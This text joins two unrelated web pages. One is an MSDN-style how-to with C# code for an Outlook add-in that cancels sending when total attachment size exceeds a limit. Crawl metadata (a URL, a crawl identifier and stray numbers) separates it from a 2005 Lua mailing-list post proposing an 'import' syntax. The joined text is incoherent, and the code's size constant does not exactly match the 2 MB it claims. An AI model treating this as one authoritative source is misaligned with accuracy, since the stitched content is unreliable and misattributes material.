How to: Limit the Size of an Attachment to an Outlook Email Message This topic describes how you can create a managed add-in for Outlook that cancels sending email if the total attachment size is greater than a fixed limit. Provided by: Ken Getz, MCW Technologies, LLC A given email message can contain one or more file attachments, and you may want to limit the total attachment size in email messages that you send. The sample code in this topic demonstrates how you can handle the ItemSend event in an Outlook add-in, and in the event handler, cancel the sending of the email message if the combined size of all the attachments is larger than a specific value (2 MB, in this example). The Outlook ItemSend event receives as its parameters a reference to the item being sent, and a Boolean variable that is passed by reference and that allows you to cancel the send operation. It is up to your own code in the event handler to determine whether you want to cancel the event; you do so by setting the Cancel parameter to True if you do wish to cancel the event. In this example, to determine whether the total attachment size is larger than a specific size, the code loops through each attachment in the item's Attachments collection. For each item, the code retrieves the Size property, summing as it loops. If the sum ever exceeds the size of the maxSize constant, the code sets the tooLarge variable to True, and exits the loop. After the loop, if the tooLarge variable is True, the code alerts the user and sets the Cancel parameter to the event handler (which was passed by reference) to True, causing Outlook to cancel the sending of the item. The following managed code samples are written in C# and Visual Basic. samples. The following code shows how to cancel sending an email if the total attachment size is greater than the specified limit. To demonstrate this functionality, in Visual Studio, create a new managed Outlook add-in named LimitAttachmentSizeAddIn. Replace the code in ThisAddIn.cs or ThisAddIn.vb with the example code shown here. using Outlook = Microsoft.Office.Interop.Outlook; namespace LimitAttachmentSizeAddIn { public partial class ThisAddIn { private void ThisAddIn_Startup(object sender, System.EventArgs e) { Application.ItemSend +=new Outlook.ApplicationEvents_11_ItemSendEventHandler(Application_ItemSend); } private void ThisAddIn_Shutdown(object sender, System.EventArgs e) { } void Application_ItemSend(object Item, ref bool Cancel) { // Specify the maximum size for the attachments. For this example, // the maximum size is 2 MB. const int maxSize = 2 * 1024 * 1000; bool tooLarge = false; Outlook.MailItem mailItem = Item as Outlook.MailItem; if (mailItem != null) { var attachments = mailItem.Attachments; double totalSize = 0; foreach (Outlook.Attachment attachment in attachments) { totalSize += attachment.Size; if (totalSize > maxSize) { tooLarge = true; break; } } } if (tooLarge) { // If the sum of the attachment sizes is too large, alert the user // and cancel the send. System.Windows.Forms.MessageBox.Show( "The total attachment size is too large. Sending canceled.", "Outlook Add-In"); Cancel = true; } } } }
http://msdn.microsoft.com/en-us/library/hh290847.aspx
CC-MAIN-2014-52
refinedweb
500
55.95
on 8/16/05 5:50 AM, Mike Pall at mikelu-0508@mike.de wrote: > Right now all suggestions go for the first alternative. > If there was a standard preprocessor for Lua, the obvious > thing to do would be to define the following substitutions: > > import "a.b.c" > ==> > local c = require "a.b.c" > > import("a.b.c", d, e, f) > ==> > local c = require "a.b.c" > local d, e, f = c.d, c.e, c.f > > Realistic examples: > > import("math", sin, cos, tan) > import("string", sub, gsub, find, gfind) > > Yes, the standard parser could do this, too. It would be a bit > unorthogonal, but tremendously useful. Would've saved me a lot > of typing (and typos). I like that. Our import function does essentially that but it can't declare the locals and hence that functionality doesn't get used much. This and other discussions are leading to a distinction between interactive Lua and script Lua. Interactive Lua: require/import loads into the global namespace which is probably a sandbox for the interactive environment; global access is considered perfectly reasonable Script Lua: require/import loads into locals; globals need to be explicitly declared via a "global" keyword, but since there are few if any globals this probably needs to be used at most rarely Having such a distinction doesn't seem desirable at first, but when one considers that the execution circumstances and needs are inherently different it doesn't seem completely irrational. Mark
http://lua-users.org/lists/lua-l/2005-08/msg00456.html
CC-MAIN-2019-43
refinedweb
245
54.42